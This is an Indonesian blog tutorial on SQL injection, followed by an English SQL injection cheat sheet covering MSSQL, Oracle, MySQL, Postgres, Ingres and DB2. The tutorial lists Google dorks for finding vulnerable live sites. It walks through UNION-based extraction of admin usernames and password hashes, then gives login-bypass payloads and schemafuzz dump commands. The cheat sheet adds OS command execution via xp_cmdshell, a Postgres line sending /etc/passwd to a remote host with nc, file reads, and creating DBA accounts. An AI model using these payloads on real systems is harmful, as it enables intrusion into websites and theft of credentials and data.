Belajar SQL Injection dasar
by d0ntcry on Nov.22, 2009, under Tutorial
.::BELAJAR SQL INJECTION DASAR::.
Author : d0ntcry
Blog : http://d0nt-cry.blogspot.com
3.50 16 FEB 2010
FEAT. GOLIATH-MD2 and 234
Thankz : kamtiez-tukulesto-arianom-cimpli-pathloader
mbamboenk.owos.and you..
all member....
indonesiancoderTeam | kill-9 crew | SCTeam
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Assalamualaikum wr wb
Kita mulai langsung aja... kalo sudah mengerti jangan lupa lebih mendalami lagi tentang sql.. okey..
untuk mencari web vulner ato tidak
1. "-" [single mark] --> http://target.com/news.php?id=1- (id=-)
2. "'" [single quote] --> http://target.com/news.php?id=1' atao http://target.com/news.php?id='1 (id=null'/id='null)
3. "and 1=2" --> http://target.com/news.php?id=1 and 1=2 (can you see??)*
3. !sql scan dgn bug+dork yang sudah ada... :D
4. jalan-jalan di web tersebut and be creative.. ^^
*kenapa koq tanda seperti itu ya?wah..dapet dari google se katana itu 1=2 melihatkan kalo id tersebut nilainya ERROR,contoh:
1. news.php?id=1 and 1=2 <-- nilainya salah.lah piye?ra ketok ta matane siji iku yo siji.. mosok siji iku loro rek.. wkwkwk... dan efeknya artikel web menghilang.. sakti jeh!! ato menunjukan syntax error :D
2. news.php?id=1 and 1=1 <-- nilainya benar.artikel web kembali.no page error...
Pada akhir perintah selanjutnya gunakan tanda "/*" ato "--" ato "#" menandakan akhir perintah...
OK.. lets duit..
cari kata kuncinya dulu (dork).contoh :
[SPOILER]
inurl:"shredder-categories.php?id="
inurl:"tradeCategory.php?id="
inurl:"product_ranges_view.php?ID="
inurl:"shop_category.php?id="
inurl:"product_list.php?id="
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
[/SPOILER]
waaahh.. banyak bgt!! :D
lebih gampangnya join di irc cari channel yang ada bot scan sqlnya..
jalankan botnya --> !sql d0ntcrymanis.php?idku= indonesiancoderteam (!sql
scriptnya bisa tnya ane di irc...
sampe mana ya tadi... hehehehe...
oia.. da dapet webnya yg vuln.. misal :
1. http://target.com/product_list.php?id=1' <- (You have an error in your SQL syntax....)
- kalo gak error lakukan percobaan2 lagi dengan menambahkan.. menghilangkan.. atao apalah pokknya error.. kalo gak error ya cari target lagi.. ^^ "gak ada keamanan web yg 100% aman" <-- gak berani ngomong kaya gitu.. belum jadi 31337 :D
2. mencari nomer togel... dengan memeriksa kolom
- syntax : order+by+1..dst --> (untuk mencari nomer akhir) pengecekan dimulai dari 1 s/d kondisi halaman mendapatkan kondisi false/error page.
Akhirnya kondisi false diketahui pada kolom 5 :
:: http://target.com/product_list.php?id=1 order by 1,2,3,4,5--
(Unknown column '5' in 'order clause', Sorry, no products in this category) / bisa juga pesannya beda...
atau bisa juga :
.:. http://target.com/product_list.php?id=1 order by 1-- [gak ada error]
http://target.com/product_list.php?id=1 order by 2-- [gak ada error]
http://target.com/product_list.php?id=1 order by 3-- [gak ada error]
http://target.com/product_list.php?id=1 order by 4-- [gak ada error]
http://target.com/product_list.php?id=1 order by 5-- [error ne]
---> Itu tandanya kolom yang ada diweb tsb ada 4 kolom
3. Jika sudah ktemu.. cari nomer togelnya...
- syntax : union+select
:: http://target.com/product_list.php?id=1 union select 1,2,3,4--
:: http://target.com/product_list.php?id=1 union all select 1,2,3,4--
kliatan gak nomer togelnya?? misal aja ya.. nomer yang kliatan 2 <-- nomer togel (asumsi aja)
kalo gak kliatan ya pasang aja version() disetiap nomer atu2 :D
4. mencari informasi MySQL
syntax :
- version mysql : version() atau @@version
- mengetahui jenis database : database()
- mengetahui user : user()
- lebih mudahnya, menggunakan perintah "concat()" untuk melihat semua informasi yang kita butuhkan di dalam satu tempat
:: http://target.com/product_list.php?id=1 union select 1,version(),3,4--
atau
:: http://target.com/product_list.php?id=1 union select 1,concat (version(),0x3a,user(),0x3a,database()),3,4--
taraaa....MYSQL versi 5.0.45 ( kita asumsikan aja kaya gitu..hehehe )
Untuk MySQL versi 5, kita bisa lanjutkan ke pemeriksaan tabel dan kolom.Tapi untuk versi 4, kita harus mencari dan menebak database(blind sqli),yg nama tabel dan kolom yang ditempatkan tidak beraturan.
nb : 0x3a adalah tanda ":" yang sudah dirubah mnjdi karakter hexadecimal (untuk memisahkan informasi yang kita inginkan)
5. Memeriksa tabel
Syntax : 'union+select' ; "group_concat(table_name)" ; "from+information_schema.tables+where+table_schema=database()--"
Artinya : kita akan mengeluarkan keseluruhan tabel menggunakan information schema dimana table yang di-schema adalah
dari fungsi query database().
Dapat diartikan bahwa database() adalah perintah yang digunakan untuk melihat nama database
:: id=1 union select 1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()--
Mencari tabel (limit) :
:: id=-1+union+select+1,table_name,3,4+from+information_schema.tables+limit+8,1--
6. Melihat Isi Kolom Dari Tabel
Untuk mengeluarkan column name, syntax-nya sama dengan mengeluarkan table name, hanya saja "table" kita ganti dengan
"column".
Syntax :
"union+select" ; "group_concat(column_name)" ; "from+information_schema.columns+where+table_name=nama_table_target--"
Artinya : kita akan mengeluarkan keseluruhan column menggunakan information schema dimana table name-nya = table yang
jadi tujuan
Contoh dalam tabel ada kolom "admin"
:: id=-1+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0x61646D696E--
convert "admin" to hex -> 61646D696E
7. Melihat data dari kolom
perintah : 'group_concat(mbohkah,cuk,raimu,asu)'
misal tadi kolom yang keluar dari admin : user,id,password,kentu,nangdi,matamu,suwek
:: id=-1+union+select+1,group_concat(user,0x3,password),3,4+from+admin--
jreng..jreng... dapet dah...
d0ntcrymanis:0e311e5b9704f28b4e8557e8fa3fbe7d
pass crack dulu :)
macam2 hash banyak loh!!jadi harus belajar lagi.. gak cuma md5 aja.. ^^
.: Kemungkinan2 variable utk masuk kedalam login page tanpa password dan user name :D :.
1'or'1'='1
0'or'0'='0
admin'--
admin' #
admin'/*
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
password:' or 1=1--
or 1=1--
'or'a'='a
"or"a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi') or ('a'='a
hi") or ("a"="a
'or'1'='1' and firstname <>'d0ntcry <-- nama member
'or'1'='1' and firstname <>'d0ntcry' and firstname <>'dnock
/===========.tambahan.===========\
*) ada juga dengan teknik having 1=1 SQL Injection di MS-SQL Server (google please...)
*) schemafuzz : sqli instant.hihihihi... :p
schemafuzz.py -h <-- melihat perintah2nya
[+] --dbs [untuk mengetahui nama database sql]
[+] --schema [untuk melihat nama tabel n nama column]
[+] --dump [untuk melihat isi dari column]
contoh : (liat target atas) nomer togel diganti dengan "darkc0de"
1. c:/>schemafuzz.py --dbs -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--
2. c:/>schemafuzz.py --schema -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--" -D
3. c:/>schemafuzz.py --dump -u "http://target.com/product_list.php?id=1 union select 1,darkc0de,3,4--" -T
*) tools2 sqli yang bisa didapatkan di forum2 security...
sabaiknya coba cara manual dulu sebelum pake tools/python...
Matur nuwun.. kalo ada kekurangan mohon dimaafkan coz bisanya cuma maen2 kaya gini aja gak bisa nangkalnya.. urung dong bgt sqlan.. tapi berkat temen2 yang mau share pasti aq bisa..hohohohoho...^^
salam hangat,
d0ntcry,
waalaikum salam wr.wb
Source : Klik
----.end.of.fles.----
SQL Cheat Sheet
by d0ntcry on Nov.22, 2009, under Tutorial
MSSQL
Version | SELECT @@version |
Comments | SELECT 1 — comment SELECT /*comment*/1 |
Current User | SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
List Users | SELECT name FROM master..syslogins |
List Password Hashes | SELECT name, password FROM master..sysxlogins — priv, mssql 2000; SELECT SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 |
Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
List Privileges | Impossible? |
List DBA Accounts | TODO SELECT SELECT is_srvrolemember(’sysadmin’, ’sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. |
Current Database | SELECT DB_NAME() |
List Databases | SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); — for N = 0, 1, 2, … |
List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only SELECT |
List Tables | SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT |
Find Tables From Column Name | – NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name |
Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c |
Bitwise AND | SELECT 6 & 2 — returns 2 SELECT 6 & 1 — returns 0 |
ASCII Value -> Char | SELECT char(0×41) — returns A |
Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 |
Casting | SELECT CAST(‘1′ as int); SELECT CAST(1 as char) |
String Concatenation | SELECT ‘A’ + ‘B’ – returns AB |
If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
Avoiding Quotes | SELECT char(65)+char(66) — returns AB |
Time Delay | WAITFOR DELAY ‘0:0:5′ — pause for 5 seconds |
Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\\’ + @host + ‘\c$\boot.ini”’); — nonpriv, works on 2000 declare @host varchar(800); select – NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. – Also check out theDNS tunnel feature of sqlninja |
Command Execution | EXEC xp_cmdshell ‘net user’; — priv On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default: EXEC sp_configure ’show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv |
Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM ‘c:\boot.ini’; DROP TABLE mydata; |
Hostname, IP Address | SELECT HOST_NAME() |
Create Users | EXEC sp_addlogin ‘user’, ‘pass’; — priv |
Drop Users | EXEC sp_droplogin ‘user’; — priv |
Make User DBA | EXEC master.dbo.sp_addsrvrolemember ‘user’, ’sysadmin; — priv |
Location of DB files | TODO |
Default/System Databases | northwind model msdb pubs tempdb |
Oracle
Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
Comments | SELECT 1 FROM dual — comment – |
Current User | SELECT user FROM dual |
List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv |
List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g |
Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
List Privileges | SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
List Databases | SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status). |
List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 |
ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(‘1′ AS int) FROM dual; |
String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(‘10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay |
Make DNS Requests | SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; |
Command Execution | Java can be used to execute commands if it’s installed. ExtProc can sometimes be used too, though it normally failed for me. |
Local File Access | UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’; Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(‘10.0.0.1′) FROM dual; — gets hostnames |
Location of DB files | SELECT name FROM V$DATAFILE; |
Default/System Databases | SYSTEM SYSAUX |
MySQL
Version | SELECT @@version |
Comments | SELECT 1; #comment SELECT /*comment*/1; |
Current User | SELECT user(); SELECT system_user(); |
List Users | SELECT user FROM mysql.user; — priv |
List Password Hashes | SELECT host, user, password FROM mysql.user; — priv |
Password Cracker | John the Ripper will crack MySQL password hashes. |
List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs SELECT SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’; SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
Current Database | SELECT database() |
List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c |
Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
ASCII Value -> Char | SELECT char(65); # returns A |
Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
Casting | SELECT cast(‘1′ AS unsigned integer); SELECT cast(‘123′ AS char); |
String Concatenation | SELECT CONCAT(‘A’,'B’); #returns AB SELECT CONCAT(‘A’,'B’,'C’); # returns ABC |
If Statement | SELECT if(1=1,’foo’,'bar’); — returns ‘foo’ |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
Avoiding Quotes | SELECT 0×414243; # returns ABC |
Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
Make DNS Requests | Impossible? |
Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
Local File Access | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system |
Hostname, IP Address | Impossible? |
Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
Delete Users | DROP USER test1; — priv |
Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv |
Location of DB files | SELECT @@datadir; |
Default/System Databases | information_schema (>= mysql 5.0) mysql |
Postgres
Version | SELECT version() |
Comments | SELECT 1; –comment SELECT /*comment*/1; |
Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
List Users | SELECT usename FROM pg_user |
List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv |
Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. |
List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database | SELECT current_database() |
List Databases | SELECT datname FROM pg_database |
List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’: SELECT |
Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c |
Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 |
ASCII Value -> Char | SELECT chr(65); |
Char -> ASCII Value | SELECT ascii(‘A’); |
Casting | SELECT CAST(1 as varchar); SELECT CAST(‘1′ as int); |
String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB |
If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB |
Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE |
Make DNS Requests | Generally not possible in postgres. However if contrib/dblink is installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’, ‘SELECT version()’) RETURNS (result TEXT); Alternatively, |
Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ’system’ LANGUAGE ‘C’ STRICT; — priv SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest; Write to a file: CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES (”); COPY – priv user can also read/write files by mapping libc functions |
Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) |
Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time |
Drop Users | DROP USER test1; — priv |
Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv |
Default/System Databases | template0 template1 |
Ingres
Version | select dbmsinfo(‘_version’); |
Comments | SELECT 123; — comment select 123; /* comment */ |
Current User | select dbmsinfo(’session_user’); select dbmsinfo(’system_user’); |
List Users | First connect to iidbdb, then: select name, password from iiuser; |
Create Users | create user testuser with password = ‘testuser’;– priv |
List Password Hashes | First connect to iidbdb, then: select name, password from iiuser; |
List Privileges | select dbmsinfo(‘db_admin’); select dbmsinfo(‘create_table’); select dbmsinfo(‘create_procedure’); select dbmsinfo(’security_priv’); select dbmsinfo(’select_syscat’); select dbmsinfo(‘db_privileges’); select dbmsinfo(‘current_priv_mask’); |
List DBA Accounts | TODO |
Current Database | select dbmsinfo(‘database’); |
List Databases | TODO |
List Columns | select column_name, column_datatype, table_name, table_owner from iicolumns; |
List Tables | select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != ‘$ingres’; |
Find Tables From Column Name | TODO |
Select Nth Row | Astoundingly, this doesn’t seem to be possible! This is as close as you can get: select top 10 blah from table; select first 10 blah form table; |
Select Nth Char | select substr(‘abc’, 2, 1); — returns ‘b’ |
Bitwise AND | The function “bit_and” exists, but seems hard to use. Here’s an example of ANDing 3 and 5 together. The result is a “byte” type with value \001: select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1); |
ASCII Value -> Char | TODO |
Char -> ASCII Value | TODO (The “ascii” function exists, but doesn’t seem to do what I’d expect.) |
Casting | select cast(123 as varchar); select cast(‘123′ as integer); |
String Concatenation | select ‘abc’ || ‘def’; |
If Statement | TODO |
Case Statement | TODO |
Avoiding Quotes | TODO |
Time Delay | ??? See Heavy Queries article for some ideas. |
Make DNS Requests | TODO |
Command Execution | TODO |
Local File Access | TODO |
Hostname, IP Address | TODO |
Location of DB files | TODO |
Default/System Databases | TODO |
Installing Locally | The Ingres database can be downloaded for free from http://esd.ingres.com/ A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832 |
Database Client | TODO There is a client called “sql” which can be used for local connections (at least) in the database server package above. |
Logging in from command line | $ su – ingres $ sql iidbdb * select dbmsinfo(‘_version’); \go |
Identifying on the network | TODO |
DB2
Version | select versionnumber, version_timestamp from sysibm.sysversions; |
Comments | select blah from foo; — comment like this |
Current User | select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1; select system_user from sysibm.sysdummy1; |
List Users | N/A (I think DB2 uses OS-level user accounts for authentication.) Database authorities (like roles, I think) can be listed like this: select grantee from syscat.dbauth; |
List Password Hashes | N/A (I think DB2 uses OS-level user accounts for authentication.) |
List Privileges | select * from syscat.tabauth; — privs on tables select * from syscat.dbauth where grantee = current user; select * from syscat.tabauth where grantee = current user; |
List DBA Accounts | TODO |
Current Database | select current server from sysibm.sysdummy1; |
List Databases | SELECT schemaname FROM syscat.schemata; |
List Columns | select name, tbname, coltype from sysibm.syscolumns; |
List Tables | select name from sysibm.systables; |
Find Tables From Column Name | TODO |
Select Nth Row | select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; |
Select Nth Char | SELECT SUBSTR(‘abc’,2,1) FROM sysibm.sysdummy1; — returns b |
Bitwise AND | This page seems to indicate that DB2 has no support for bitwise operators! |
ASCII Value -> Char | select chr(65) from sysibm.sysdummy1; — returns ‘A’ |
Char -> ASCII Value | select ascii(‘A’) from sysibm.sysdummy1; — returns 65 |
